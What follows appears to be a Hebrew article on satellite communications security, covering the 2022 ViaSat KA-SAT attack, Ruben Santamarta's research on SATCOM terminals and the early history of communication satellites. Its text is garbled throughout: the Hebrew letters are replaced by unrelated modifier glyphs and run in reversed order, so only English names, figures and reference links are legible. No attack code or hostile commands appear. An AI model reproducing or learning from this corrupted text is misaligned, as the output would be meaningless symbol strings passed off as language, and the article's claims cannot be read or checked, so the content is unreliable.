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.˭˧˦ˣ˪˥˪ ˶˷˵ˢ ˵˸ˣˮ 

 ˸˶ˣ˷˵˸ ˧˲ˣ˯ˬ ˣ˧ˢ ˫˪ˣ˩˷ ˞ˣˢ ˡˣ˟˰˪ ˣ˵˧˯˲ˢ ˡ˥˞ ˰ˠ˶˟˷ ˸˶ˣ˷˵˸ˢ ˧˲ˣ˯ˬ ˫˸ˣ˞ ˪˩˪ ˱˸ˣ˷ˬˢ

 ˸˶ˣ˷˵˸ˢ ˸˷˶˪ ˫˧˶˟ˣ˥ˬˢKA-SAT  ˸˶˟˥ ˪˷ViaSat ˨˞ ,˦˪˥ˢ˟ ˧˶˷˲˞ ?˸˧˶˵ˬ ˸˧ˮ˩˦ ˢ˪˵˸ .

 ˧˯ˣ˶ˢ ˞˟˴ˢ˷ ˰ˠ˶˟ ˢ˲ˣ˶˧˞˟ ˡˣ˟˰˪ ˵˧˯˲˸˷ ˸˧˦˧˶˵ ˸˧˸˷˸ .ˡ˷˥ ˶˶ˣ˰ˬ ˧ˣ˦˧˰ˢ ˢˮ˩˷ˢ ˢˮ˧ˡˬ˪ ˷˪ˣ˲

- .˧ˡˬ "˥ˣˮ" ˰ˣ˶˧˞ ˦˪˥ˢ˟ ˢˤ 

 ˰ˣ˶˧˞ˢ ˪˰ˢ˥ˣˣ˧ˡ ˟ ˯˶˦˧ˣ˶ ˸˧˦˧˶˟ˢ ˸ˣ˰˧ˡ˧ˢ ˸ˣˮ˩ˣ˯-28 ˞ ,˶˞ˣ˶˟˲˪ ˞˪ ˢ˟˸˩˟ .˭˩ˬ ˶˥˞˪ ˫˧ˬ˧ ˢ˰˟˶

 ˭ˣˠ˩ ˸˧˦ˮ˶˟˧˵ ˸˲˧˵˸ˬ ˰ˣ˟ˮ˪ ˪ˣ˩˧ ˪"ˮˢ˷ ˟˸˩ˮ ˵˶ ˞˪˞ ,˰ˣ˶˧˞ˢ ˸˟˧˯ ˢ˟˸˩ˮDDoS  ˢ˥˦˟˞ ˸˶˟˥˷ˣ

.˰ˣ˶˧˞ˢ ˸˞ ˸˶˵ˣ˥ ˭˩˞ 

-˟3  ,ˠˮ˧˪ˡ˧˶˲ ˪˵˧˧ˬ ,˳˶ˬ˪˷˞˶ s-CdE )Commandement de l'Espace - ˡˣ˵˧˲ ˪˪˥ˢ ˧˸˲˶˴ˢ( ,˶˷˧˞ 

˸˞ ˷˷˥ˢ ˰˧ˡˣˢˣ ˸˟˧˯ˬ˟  ˫˧˞ˮˣ˸˧˰ˡˣ˧˴ˢ˷ ˭˩˞ ˰ˠ˲ˮ ˟˵˰  ˢ˲˵˸ˬ˸˧˦ˮ˶˟˧˵ .˶˥˞˪ ˭˩ˬ ,˞ˣˢ ˫ˠ 

˪˧ˡˠˢ ˱˧˯ˣˢˣ ˧˩ ,ˣ˧˷˩˰ ˡ˰ ˰ˡ˧ ˞˪ ˭˧˦ˣ˲˷ ˢ˶˵ˬ˪ ,˨˶˰ˬ  ˸˶ˣ˷˵˸ˢ˸˧ˮ˧ˣˣ˪ˢ ˸˧˞˟˴ˢ  ˭ˣˣ˧˩ˬ ˢ˰ˠ˲ˮ ˞˪

 ˯˯˟˸ˬ ˞ˣˢ˷ˢ˷ˣ˪˷ ˧˪ˠ˰ˬ ˢ˥˦˟˞: 

¶ ˭ˣ˷˞˶ˢ - ˧˦˧˶˵ˢ  ˪˰ ˯˯˟˸ˬ ,(˟˪ ˫˧˷ ,˭˧˦ˣ˲) ˸˷˶ˢ ˸˟˧˪ ˸˞ ˢˣˣˢˬ˷˧ˮ˧ˣˣ˪ s-3A ˢ ˟ˣ˶˵˟ˣ-3B 

 ˪˷˧˸˲˶˴ˢ ˞˟˴ˢ ˧ˮ˧ˣˣ˪ Syracuse )˧ˮ˧ˣˣ˪˫ ˧˶ˡ˸ ˫˧˯˩ˬˢ SHF πEHF( 

¶ ˧ˮ˷ˢ -  ˨˶˰ˬ˸˶ˣ˷˵˸ ˧ˮ˧ˣˣ˪ ,˯˯˟˸ˬˢ ˣ˵˪˥˟ ˪˰  ˨˶˰ˬ˧ˮ˧ˣˣ˪ s-Sycral2  ˪˷Syracuse  ˣ˵˪˥˟ˣ ˪˰

˨˶˰ˬ ˧ˮ˧ˣˣ˪  ˸˶ˣ˷˵˸ˢAthenaFidus  (ˢ˧˪˦˧˞˪ ˸˲˶˴ ˭˧˟ ˱˸ˣ˷ˬ ,˥˦˟ˣ˞ˬ ˸˶ˣ˷˵˸˪ ˧ˮ˧ˣˣ˪ ˨˶˰ˬ)

 ˫˧ˮ˧ˣˣ˪ .˨˶ˣ˴ˢ ˸ˡ˧ˬ˟ ˸˧˸˶ˣ˷˵˸ˢ ˸˪ˣ˟˧˵ˢ ˸˪ˡˠˢ ˸˞ ˶˷˲˞˪ ˣ˸˶˦ˬ˷ ˧˶ˡ˸˟aK. 

¶  ˧˷˧˪˷ˢ-  ,˸ˣ˧˥˶ˤ˞ ˸ˣ˶˟˥ ˪˰ ˯˯˟˸ˬ ,˨˶ˣ˴ˢ ˢ˶˵ˬ˪ ˸˲˯ˣˮ ˸˪ˣ˟˧˵ ˸˶˟ˠˢ˪ ˸˶ˣ˷˵˸ ˨˶˰ˬ

 ˸˧˞˵˧˶ˬ˞ˢ ˢ˶˟˥ˢ ˪˰ ˫ˠ ˭ˢ˧ˮ˧˟ˣViaSat  ˫ˢ ˫ˠ .ˢ˰ˠ˲ˮ˷-  ˫˧ˮ˧ˣˣ˪˧˶ˡ˸˟ aK. 

˶˵ˣ˥ ˢ˥˦˟˞ˢ Ruben Santamarta ˠˣ˪˟ˢ ˸˞ ˪˧˰˲ˬˢ Reversemode.com Σ ˸ˣ˧ˮ˧ˣˣ˪ˢ ˫ˣ˥˸˟ ˶˩ˣˬ

˫˧ˮ˧ˣˣ˪ ˧˩˶˰ˬ˟ ˞˴ˬ˷ ˸ˣ˧ˣ˰˧ˠ˲ˢˣ ˸ˣ˟˥˶ˮˢ ˢ˥˦˟˞ˢ ˸ˣ˶˧˵˯ ˸ˣˡˣ˞ ˣ˪˷ ˫˧ˬˣ˯˶˲ˢ ˸ˣ˩ˤ˟ ˶˵˧˰˟  .˫˧˟˶

-˟Blackhat 2014  :˫˷˟ ˢ˞˴˶ˢ ˶˧˟˰ˢ ˞ˣˢϦSATCOM Terminals: Hacking by Air, Sea, and LandϦ Σ

https://www.reuters.com/business/aerospace-defense/satellite-firm-viasat-probes-suspected-cyberattack-ukraine-elsewhere-2022-02-28/
https://twitter.com/LaeCesari/status/1499863645987168256?
https://twitter.com/LaeCesari/status/1499863645987168256?
https://en.wikipedia.org/wiki/Syracuse_(satellite)
https://en.wikipedia.org/wiki/Super_high_frequency
https://en.wikipedia.org/wiki/Extremely_high_frequency
https://en.wikipedia.org/wiki/Athena-Fidus
https://en.wikipedia.org/wiki/Ka_band
https://en.wikipedia.org/wiki/Viasat_(American_company)
https://es.linkedin.com/in/rubensantamarta
https://www.reversemode.com/
https://www.youtube.com/watch?v=YeKswEamOl4
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˧˶˥˞ˣ  ˫˯˶˲ ˢˤ" :˸˶˸ˣ˩ˢ ˸˥˸ ˢ˪˷ ˸ˠ˴ˬˢ ˸˞Up call for SATCOM Security-A Wake˟ ."-2018  ˞ˣˢ

˟ ˫ˠ ,˫ˣ˥˸˟ ˸˲˯ˣˮ ˢ˞˴˶ˢ ˶˧˟˰ˢ-Blackhat " :˫˷ˢ ˸˥˸Last Call for SATCOM Security ." 

 ˸ˣ˞˴˶ˢˢ ˸˞ ˶˧˟˰ˢ ˞ˣˢ ˫˸ˣ˟˵˰˟˷ ˫˧˶˵˥ˬˢ ˧ˮ˷ ˸˞ ˢ˧ˢ ˶˷˞˩ ˢ˷˰ ˞ˣˢPenetration Tester ˟-

IOActive.˸ˣ˧˦˧˶˵ ˸ˣ˧˸˧˧˷˰˸ ˸ˣ˧˸˷˸˪ ˸ˣ˶˧ˡ˥ ˸ˣ˵˧ˡ˟˟ ˢ˥ˬ˸ˬ˷ ˢ˶˟˥ , 

˶ˣ˞˪ ˢ˶˵ˬˢ ˫˧ˬˣ˯˶˲ˢˣ ΣRuben ˫˧˶ˢ  ,ˢ˲˲˩ˢ ˸˞˱˯˞ ˸˞ ˫˧ˮˣ˸ˮˢ  ˶˟˰ ˰ˡ˧ˬ ˫˰ ˡ˥˧ˣ ,ˣˬ˯˶ˣ˲˷

 ˣ˸ˣ˷˶˟ ˢ˧ˢ˷ˢ˯˧ˮ  ,ˣ˪˷ ˠˣ˪˟˟ ˫˯˶˲ ˞ˣˢ ˶˟˯ˢˢ ˸˞ .ˢ˷˥˶˸ˢ ˶˟˧˧˯ˢ ˸˲˵˸ˬ ˡ˴˧˩ ˶˟˯ˢ ˸˸˪

" :˸˶˸ˣ˩ˢ ˫˰ ˦˯ˣ˲˟SATCOM terminals under attack in Europe: a plausible analysis." 

 ˸˟˧˸˩˪ ˭ˣ˩ˮ ˫˸ˣ˞ ˪˷ ˷ˣ˟˧˷ˢ ˧˶ˣ˥˞ˬ ˸ˡˬˣ˰ˢ ˣˤ ˞˧ˢ ˢ˧˯ˣ˶ ˭˩˞˷ ˨˩˪ ˢ˥˩ˣˢ ˭˧˞ ,ˣ˪˞ ˸ˣ˶ˣ˷

 ˪˷ ˭ˣ˥˶˵ˢ ˢ˴˵ ˵˶ ˞ˣˢ ˢˤ ˢ˶˵ˬ˷ ˭˧ˬ˞ˬ ˧ˮ˞ˣ .˶ˣ˶˟ ˢˤ˷ ˶ˬˣ˞ (˧˪˷ ˸ˣ˥˲˪) ˭ˣ˧ˠ˧ˢˢ ˨˞ ,˫˧˪ˮ˧ˬ˶˦

.˧˪˞ˣ˦˶˧ˣˢ ˟˥˶ˬ˟ ˢ˧˯ˣ˶ ˞˟˴ ˪˷ ˸ˣ˧˲˵˸ˢˢ ˸ˣ˪ˣ˩˧ˢ 

˧˸˧ˮ˲ˣ ˞˷ˣˮˢ ˸˞ ˶˵˯˪ ˧ˡ˩ ˸ˣˮˬˡˤˢˢ ˸˞ ˪˴ˮ˪ ˧˸˦˪˥ˢ ˪-Ruben  ˢˤ ˢ˧ˢ˧ ˫˞ ˣ˸ˣ˞ ˪ˣ˞˷˪ ˸ˮˬ ˪˰

 ˭˧ˤˠˬ˪ ˟ˣ˸˩˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˶ˬ˞ˬ˪ ˯˧˯˟˩ ˣ˪˷ ˦˯ˣ˲˟ ˷ˬ˸˷ˢ˪ ˣˡ˧˴ˬ ˶ˡ˯˟-  .˫˧˩˯ˢ ˞ˣˢˣ 

 ,ˣ˪˷ ˦˯ˣ˲˟Ruben  ˰ˣ˴˧˟ ˞ˬˠˣˡ˪ ,ˢ˲˵˸ˬˢ ˢ˸ˣ˞ ˸˞ ˷ˬˬ˪ ˢ˧ˢ ˭˸˧ˮ ˭ˢ˟˷ ˫˧˩˶ˡ ˶˲˯ˬ ˶˞˸ˬDDoS 

 ˶˷˞˩ ,˸˞ˤ ˫˰ ˨˞ .˫˧˲ˣ˯ˬˢ ˸˞ "ˣˮˠ˦˧˷" ˫˧˵ˤ˥ ˵˧˲˯ˬ ˫˧˧˦ˮˠˬˣ˶˦˵˪˞ ˫˧˯˪ˣ˲ ˶ˣˡ˧˷ ˣ˞ ,˨ˣˣ˸ˢ ˪˰

ˢ ˧˩ ˫˧ˮ˧˟ˬ ,˟ˣ˶˵ˬ ˫˧˲ˣ˯ˬˢ ˫˸ˣ˞ ˸˞ ˫˧ˮ˥ˣ˟-Firmware  ˪˦˟ˬ˷ ˢˬ .˷˧ˬ˷ ˞˪ ˡ˥˞˟ ˱˪˥ˣˢ ˫ˢ˪˷

˰ ˣ˞) ˫ˢ˧˪˰ ˳˧˶ˢ ˣˢ˷˧ˬ˷ ˢ˟ˣ˦ ˧ˡ ˢ˶ˣ˴˟ ˰ˣ˟˵˪ˣ ˣˤ ˢ˲˵˸ˬ ˷ˬˬ˪ ˢ˧ˢ ˭˸˧ˮ˷ ˫˧˩˶ˡ ˦˰ˬ ˞˪ ˸˶˷ ˪

.˵ˣ˥˶ˬ ˡˣ˵ (˫ˢ˪˷ ˫˧ˮˣ˩ˡ˰ˢ 

 ˫˧ˮˣ˷ˢ ˫˧˞˷ˣˮ˟ ˱˧˵ˬˣ ˧ˮ˩˦ ˰˵˶ ˸˞˟ˢ ˧ˡ˩ ˨ˣ˸ ˰ˣ˶˧˞ˢ ˧˦˶˲ ˸˞ ˶˵˯˪ ˢˮ˧ˢ ˢˤ ˶ˬ˞ˬ˟ ˧˸˶˦ˬ

 ˸˧˟˧˦˪ˣ˵˲˯ ˢˮ˧˥˟ˬ ˭ˢˣ ˸˧ˮ˩˦ ˢˮ˧˥˟ˬ ˭ˢ ,ˢ˶˵ˬˢ ˪˰ ˸˧˷˧˞ˢ ˧˸˰ˡ ˸˞ ˭˩ˣ ,ˣ˟ ˫˧˶ˣˤ˷ˢJ. 

 ˪˩ˢ ˧ˮ˲˪ ˪˟˞- ...ˢ˧˶ˣ˦˯˧ˢ ˸˴˵ ˫˰ ˪˧˥˸ˮ ˣ˞ˣ˟ 

 

  

https://ioactive.com/pdfs/IOActive_SATCOM_Security_WhitePaper.pdf
https://www.youtube.com/watch?v=8M8MurmuEtQ
https://ioactive.com/
https://ioactive.com/
https://www.reversemode.com/2022/03/satcom-terminals-under-attack-in-europe.html
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 ˸ˣ˥˸˲˸ˢ ˪˰˸˧ˮ˧ˣˣ˪ˢ ˸˶ˣ˷˵˸ˢ 

 ˪˷ ˢ˥˧˸˲ˢ ˸˧˧˶˧ ˸˞ ˢ˸ˮˬ˧˯ ˨˩˟ˣ ,ˢ˧˯ˣ˶ ˢ˸˧˧ˢ ˪˪˥˪ ˭˧ˣˣ˪ ˶ˠ˷˪ ˢ˥˧˪˴ˢ˷ ˢˮˣ˷˞˶ˢ ˢˬ˴˰ˬˢ

ˢ ˢ˧ˢ ˪˪˥˪ ˶ˠˣ˷˷ ˭ˣ˷˞˶ˢ ˭˧ˣˣ˪ˢ .˸˧˶˟ˢ ˸ˣ˴˶˞ ˭˧˟˪ ˢˮ˧˟ "˪˪˥˪ ˳ˣ˶˧ˬˢ"˵˧ˮ˦ˣ˲˯-мΦ  ˶ˠˣ˷ ˞ˣˢ ,˧˯ˣ˶ˢ

 ˸ˮ˷˟1957 Φ˸ˣ˰ˬ˷ˬˢ  ˶ˣˠ˧˷ˢ ˪˷ ˵˲˯ ˞˪˪ ˞˧ˢˢ˶˧ˡ˞.  ˸˧ˠˣ˪ˣˮ˩˦ ˢˮ˧˥˟ˬ ˨˞-  ˭˧ˣˣ˪ ˢ˧ˢ ˞˪ ˵˧ˮ˦ˣ˲˯

 ˦ˣ˪˵˪ ˢ˧ˢ ˭˸˧ˮ ˭˸ˣ˞˷ ˫˧˰ˣ˟˵ ˸ˣ˸ˣ˞ ˶ˡ˷˪ ˢ˧ˢ ˪˩˧ ˫ˮˬˣ˞ ˞ˣˢ ,˫ˣ˧˩ ˫˧˶˧˩ˬ ˣˮ˥ˮ˞˷ ˣˬ˩ ˸˶ˣ˷˵˸

 ˢ˸ˣ˞ ˶˯ˬˬ˪ˣ ˳˶˞ˢ ˶ˣˡ˩ˬ ˸˶ˣˡ˷˸ ˪˟˵˪ ˰ˡ˧ ˞˪ˣ ˣ˧ˡ˶ ˧˦˪˵ˬ ˪˰˟ ˢ˧ˢ ˣˮ˧˞ ˞ˣˢ ˨˞ ,˳˶˞ˢ ˶ˣˡ˩ˬ

ˢ ˫˰ ˪"ˮ˩ .ˢ˞˪ˢ˵˧ˮ˦ˣ˲˯-2 ˢ˵˧˧˪ ˢ˟˪˩ˢ ˸˞ ˪˪˩˷) -  ˳˶˞ˢ ˶ˣˡ˩˪ ˳ˣ˥ˬ ˪˞ ˶ˠˣ˷˷ ˭ˣ˷˞˶ˢ ˧˥ˢ ˶ˣ˴˧ˢ

.(ˢ˪˧˥˸ ˢˮˣˣ˩˟ 

 ˸ˮ˷˟мфру ˢ ˶ˠˣ˷-SCORE ˷ .˧˞˵˧˶ˬ˞ˢ ˸ˣ˰˴ˬ˞˟ ˣ˸ˣ˞ ˶˧˟ˠˢ˪ ,˳˶˞ˢ ˶ˣˡ˩ˬ ˶ˡ˸ ˦ˣ˪˵˪ ˰ˡ˧

Repeater ˧˟˧˯˞˲ ˢ ˨˩˟ .˳˶˞ˢ ˶ˣˡ˩˪ ˢ˶ˤ˥˟ ˣ˸ˣ˞ ˶˯ˬˬ˪ˣ-SCORE  ˭ˣ˷˞˶ˢ ˸˶ˣ˷˵˸ˢ ˭˧ˣˣ˪ ˢ˧ˢ

˪ ˢ˶ˣ˷˵ˢ ˸˧˧ˮ˰ˬ ˸˲˯ˣˮ ˢˡ˟ˣ˰ .˸ˣ˷ˣˮ˞ˢ ˢ˶ˠ˧˷˷-SCORE  ˫ˣ˪˷ ˸˩˶˟) ˶ˡ˧˷ ˞ˣˢ ˣ˸ˣ˞ ˶˯ˬˢ˷ ˞˧ˢ

˞ˣˢ ˣ˸˧˞ ˶˯ˬˢˬ ˢˮˣ˷ ˢ˧ˢ (˸˧˶˟ˢ ˸ˣ˴˶˞ ˞˧˷ˮˬ  ˶ˣˡ˧˷˪ ˢ˰ˡˣˢˢ ˢ˞˶˵ˮ ˢˮˬˬ ˸˦˪˵ˢˣ ,˶ˠˣ˷

.˪˪˥˟ ˢ˧ˢ ˞ˣˢ ˶˷˞˩ ˢ˟˸˩ˣ˷ 

 ˸ˮ˷ ˱ˣ˯˟1960ˢ ˶ˠˣ˷ ,-Courier 1B  ˪˪˩˷ ˭ˣ˷˞˶ˢ ˸˶ˣ˷˵˸ˢ ˭˧ˣˣ˪ ˢ˧ˢ˷Repeater  ˦˪˵˪ ˰ˡ˧ˣ ˧˟˧˦˵˞

 ˪˷ ˟˴˵˟ ˶ˡ˷˪ˣ 55kbpsύ˟ˣˡˬ ˟˶πbits per secondsΦό 

˪ˡ˟ˢˢ  ˭˧˟Repeater ˧˟˧˯˞˲ ˪˧˟˧˦˵˞ ˞ˣˢ ˷πRepeater ˧˟˧˯˞˲  ˣ˶˵˧˰˟ ˧ˮ˞˩ˬ ˞ˣˢ-  ˶˧˟ˠˢ˪ ˰ˡˣ˧ ˞ˣˢˣ

 ˶ˡ˷) ˧ˣˮ˟ ˞ˣˢ ˣˮˬˬ ˶ˬˣ˥ˢˣ ˣ˸˶ˣ˴ ˧"˰ ˪˪˩ ˨˶ˡ˟ ˸ˣ˸ˣ˞ ˣ˧ˡ˶ˢ˰ˠˣ˲  "˷˲˧˦" ˭˲ˣ˞˟ ˳˶˞ˢ ˶ˣˡ˩˪ ˶ˤˣ˥ˣ ˣ˟

ˣˬ˩ ˢ˞˶ˬ˟.( ˸ˬˣ˰˪ Repeater ˧˟˧˦˵˞ ˰ˡˣ˧˷ ˸ˣ˷˰˪ ˸˞ˤ ˭˲ˣ˞˟ ˧˪˦˧ˠ˧ˡ ,˰ ˧"ˡˣ˟˧˰ ˸ˣ˞ˢ  ,˪˟˵˸ˬˢ

.˧˪˦˧ˠ˧ˡ ˶ˡ˷ˬ ˸ˣ˰˴ˬ˞˟ ˣ˶ˣˡ˧˷ˣ ˷ˡ˥ˬ ˶ˡ˷ˢ ˸˟˩˶ˢ ,˶˯ˬˢ ˧ˣ˴˧ˬˣ ˷˰˶ˢ ˧ˣ˵˧ˮ 

 ˫˧ˮ˷˟1963-1962 ˢ ˧ˮ˧ˣˣ˪ ˣ˶ˠˣ˷-Telstar1 x-Telstar2  ˸˶˟˥ ˪˷AT&T  ˣ˧ˢ˷ ˫˧ˮˣ˷˞˶ˢ ˫˧ˮ˧ˣˣ˪ˢ ˣ˧ˢˣ

 ˧˶ˣˡ˧˷˟ ˷ˣˬ˧˷˪Radiofax .ˢ˧ˤ˧ˣˣ˪˦ ˸˶ˣˡ˷˸ˣ 

 ˸ˮ˷˟1972  ˧ˮ˧ˣˣ˪ ˸˶ˡ˯ˬ ˭ˣ˷˞˶ˢ ˭˧ˣˣ˪ˢ ˶ˠˣ˷Anik  ˢ˧ˢ ˣˬ˷)Anik A1 ˪˷ (˸˧ˡˮ˵ˢ ˸˶ˣ˷˵˸ˢ ˸˶˟˥ 

Telesat Canada) ˢ˶ˡ˧˯˟ ˭ˣ˶˥˞ˢ .Anik G1 ˪˧˶˲˞˟ ˶ˠˣ˷ ˞ˣˢˣ (2013 ˭˧ˣˣ˪ˢ .Anik A1  ˭ˣ˷˞˶ˢ ˭˧ˣˣ˪ˢ ˢ˧ˢ

 ˶˷˲˞˷ ˸˶ˣ˷˵˸ ˸˧ˮˣ˲˪˦˧ˬ˧ˮ˲-˫ ˧ˮ˧ˣˣ˪ ˧ˮ˷ ˫ˠ ˨˩ˣ) ˢˤ ˭˧ˣˣ˪ .˭˧ˣˣ˪ ˸˯˯ˣ˟ˬ ˸˧˴˶˞Anik  (ˢ˶ˡ˧˯˟ ˫˧˞˟ˢ

˟ ˡ˥˞ ˪˩ ˫˧ˡ˧˧ˣ˴ˬ ˣ˧ˢ-12 ˧˶ˡˮˣ˲˯ˮ˶˦ ˧˶ˡ˸ ˫ˣ˥˸ˬ ˫Band-C  ˡ˰ ˪˷ ˯˲ ˟˥ˣ˶ ˣ˧ˡ˥˧ ˣ˵˲˧˯˷7,000 

 ˣ˞ ˭ˣ˲˪˦ ˸ˣ˥˧˷12 ˧˰˟˴˟ ˢ˧ˤ˧ˣˣ˪˦ ˫˧˴ˣ˶˰.˫ 

 ˫˧ˮ˷ˢ ˭˧˟1984-мфтп  ˫˧ˮ˧ˣˣ˪ˢ ˸˶ˡ˯ ˣ˶ˠˣ˷Westar  ˸˶˟˥ ˪˷ (˪˩ˢ ˨˯ ˫˧ˮ˧ˣˣ˪ ˢ˷˧˷)Western Union ,

Westar1  ˭˧ˣˣ˪ˢ ˢ˧ˢ˪˷ ˸˧ˬ˧ˮ˲ ˸˶ˣ˷˵˸˪ ˭ˣ˷˞˶ˢ .˸˧˶˟ˢ ˸ˣ˴˶˞  ˢ˶ˡ˧˯˟ ˫˧ˮˣ˷˞˶ˢ ˫˧ˮ˧ˣˣ˪ˢ ˸˷ˣ˪˷

 ˫ˢ ˫ˠ ˣ˞˷ˮ12  ˧˶ˡˮˣ˲˯ˮ˶˦C-Band  ˧ˮ˧˧ˣ˪˪ ˢˢˤ ˯˲ ˟˥ˣ˶ ˧˪˰˟ ˣ˧ˢˣAnik ˫˧˞˟ˢ ˫˧ˮ˧ˣˣ˪ˢ ˸˷ˣ˪˷ .

.˫˧˶ˡˮˣ˲˯ˮ˶˦ ˪˷ ˪ˣ˲˩ ˶˲˯ˬ ˣ˞˷ˮ ˢ˶ˡ˧˯˟ 

https://he.wikipedia.org/wiki/%D7%A1%D7%A4%D7%95%D7%98%D7%A0%D7%99%D7%A7_1
https://he.wikipedia.org/wiki/%D7%A1%D7%A4%D7%95%D7%98%D7%A0%D7%99%D7%A7_2
https://en.wikipedia.org/wiki/SCORE_(satellite)
https://en.wikipedia.org/wiki/Courier_1B
https://en.wikipedia.org/wiki/Telstar_1
https://en.wikipedia.org/wiki/Telstar_2
https://en.wikipedia.org/wiki/Radiofax
https://en.wikipedia.org/wiki/Anik_(satellite)
https://space.skyrocket.de/doc_sdat/anik-a.htm
https://en.wikipedia.org/wiki/C_band_(IEEE)
https://en.wikipedia.org/wiki/Westar
https://space.skyrocket.de/doc_sdat/westar-1.htm
https://space.skyrocket.de/doc_sdat/westar-1.htm
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 ˸ˮ˷˟1976  ˶ˠˣ˷Marisat1 ˥ ˪˷ ˸˶˟COMSAT ˶˷˲˞˷ ˫˪ˣ˰˟ ˭ˣ˷˞˶ˢ ˸˶ˣ˷˵˸ˢ ˭˧ˣˣ˪˪ ˢ˧ˢ ˞ˣˢˣ ,

ˬˣ ˪˞ ˸˶ˣ˷˵˸-  ˧˲ˣ˯ˬ˪ ˵˶ ˸˧ˮ˧ˣˣ˪ ˸˶ˣ˷˵˸ ˰˴˟˪ ˢ˧ˢ ˭˸˧ˮ ˢˤ ˭˧ˣˣ˪ ˪˷ ˣ˶ˣˠ˧˷ ˡ˰ .˸ˣˡ˧˧ˮ ˸ˣˮ˥˸

 ˪˷ ˪˞˧˴ˮ˦ˣ˲ˢ ˷ˣˬ˧ˬ ˸˞ ˡˣ˞ˬ ˢ˪˧˟ˠˢ˷ ˢˡ˟ˣ˰ ,˷˞˶ˬ ˰˟˵ˮ˷ ˧˲˶ˠˣ˞ˠ ˫ˣ˵˧ˬ˟ ˫˧˞˴ˬˮˢ ˸˶ˣ˷˵˸

 ˸˶˟˥ .ˣˤ ˢ˧ˠˣ˪ˣˮ˩˦COMSAT ˲ˢ˷ ˪˰ ˫ˠ ˷ˣˬ˧˷˪ ˸˧ˮ˧ˣˣ˪ˢ ˸˶ˣ˷˵˸ˢ ˫˪ˣ˰ ˸˞ ˢ˥˸˲ ˢˤ ˭˧ˣˣ˪ ˸˞ ˢ˪˧˰

 ˸˧˶˟ˢ ˸ˣ˴˶˞˟ ˫˧˲ˣ˥ ˶˲˯ˬ ˪˰ ˢ˶˟˥ˢ ˢ˪˧˰˲ˢ˷ ˶˯ˬˬ ˸ˣˮ˥˸ ˸˲˯ˣˢ ˧"˰ ˶˷˲˞˸ˢ ˪"ˮˢ .˸ˣˮ˧˲˯ ˧ˡ˧

.˫˧˪ ˣ˞˴˧˷ ˸ˣˮ˧˲˯ˢ ˪˰ ˣˮ˵˸ˣˢ˷ ˫˧ˡ˧˧ˮˢ ˫˧˲ˣ˯ˬˢ ˶˟˰ ˪˞ ˭˧ˣˣ˪ˢ ˸˶ˣ˷˵˸ ˸˞ ˢ˶˯ˬˬ ˨˩ˣ 

ˠˣ˪ˣˮ˩˦ ˷ˣˡ˧˥ ˣˣ˧ˢ ˣ˪˞ ˫˧ˮ˧ˣˣ˪ ˪˩˷ ˫˧˶ˡˮˣ˲˯ˮ˶˦ ˧ˠˣ˯ ˢ˷ˣ˪˷ ˣ˪˪˩ ˫ˢ˷ ˨˩˟ ˢ˩ ˡ˰ ˢ˞˶ˮ ˞˪˷ ˱˯ˣˮ ˧

 ˧˶ˡ˸ ˫ˣ˥˸˟ ˶ˡˮˣ˲˯ˮ˶˦ ˞˷ˮ ˣ˪˞ ˫˧ˮ˧ˣˣ˪ˬ ˡ˥˞ ˪˩ .˫˧ˮˣ˷ ˫˧˶ˡ˸ ˦˪˵ˣ ˶ˡ˧˷ ˫ˢˬ ˡ˥˞Band-L ,

 ˧˶ˡ˸ ˫ˣ˥˸˟ ˶ˡˮˣ˲˯ˮ˶˦Band-C ˶ˡ˸ ˫ˣ˥˸˟ ˫˧˶ˡˮˣ˲ˡ˯ˮ˶˦ ˢ˷ˣ˪˷ˣˢ ˧-UHF. 

"˶ˡˮˣ˲˯ˮ˶˦  (˟˧˷ˬ :˸˧˶˟˰˟)" ˧˶ˡ˸ ˭ˣˣˠˬ˟ ˸ˣ˸ˣ˞ ˱˯ˣ˞ ˟˧˷ˬ ,˸˧ˮ˧˧ˣˣ˪ ˸˶ˣ˷˵˸˟uplink ˪˞ ˸˶ˣˡ˷˸) "

" ˧˶ˡ˸ ˭ˣˣˠˬ˟ ˫˸ˣ˞ ˶ˡ˷ˬˣ (˭˧˧ˣˣ˪ˢDownlink ˞˪˪ ˪˪˩ ˨˶ˡ˟ ,˳˶˞ˢ ˶ˣˡ˩ ˧ˮ˲ ˪˰ ˫˧˦˪˵ˬ ˶˟˰ ˪˞ "

.˫ˢ˧˪˰ ˭ˮ˲ˣ˞ˬˢ ˰ˡ˧ˬ˟ˣ ˸ˣ˸ˣ˞ˢ ˭˩ˣ˸˟ ˸ˣ˟˶˰˸ˢ " ˫˧˪˧ˬˢ ˪˷ ˫˥˪ˢˬ ˶ˤˠˮ ˣˬ˷Transmitter x-

Responder Ϧπ ˢ˧ˡ˲˧˵˧ˣ 

-˟1979  ˧˦˧˶˟ˢ ˫ˤ˧ˬˢ ˫˵ˣˢInmarsat  ,˫˧˧ˬ˧ ˦˧˧˷ ˧˪˩ ˭˧˟ ˸˶ˣ˷˵˸ ˸˟ˣ˦˪ ˸˶ˣ˷˵˸ ˧ˮ˧ˣˣ˪ ˢ˰˟˶˞ ˪˪˩˷

 ˸ˮ˷ ˡ˰ˣ1984 ˧ˮ˧ˣˣ˪ ˢ˰˟˶˞ ˣ˶ˠˣ˷ ,MARECS .ˢˤ ˫ˤ˧ˬ˪ ˯˧˯˟ˢ ˣ˧˧ˢ˷ 

-˟1988  ˸ˮ˵˸ˢˣ ˸˥ˮˢ ˢˬ˧˧˸˯ˢ8-TAT ,ˮ˪˦ˢ ˯ˮ˞˶˦ˢ ˸˶ˣ˷˵˸ˢ ˪˟˩˧˦  ˯˯ˣ˟ˬ ˢ˧ˢ˷ ˭ˣ˷˞˶ˢˣ ˧ˮ˧ˬ˷ˢ

 ,˸˧ˮ˧ˣˣ˪ ˸˶ˣ˷˵˸ ˪ˣˬ ˪˞ ˫˧˧˦˲ˣ˞ ˸˶ˣ˷˵˸ ˧˟˧˯ ˪˷ ˸ˣˮˣ˶˸˧ˢ ˸˞ ˸ˣˣ˷ˢ˪ ˭˸˧ˮ ˞˪ˣ ˦˰ˬ˩ .˫˧˦˲ˣ˞ ˫˧˟˧˯

) ˸ˣ˶˧˷ˢ ˸ˣ˩˧˞ ˸ˮ˧˥˟ˬ ˞˪ ,ˢ˵ˣˤ˥˸ ˸ˣ˦˷˲ ˣ˞ ˸ˣ˧ˣ˪˰ ˸ˮ˧˥˟ˬ ˞˪RTT  ˸˪ˣ˟˧˵ˢ ˸ˮ˧˥˟ˬ ˞˪ˣ ('ˣ˩ˣ

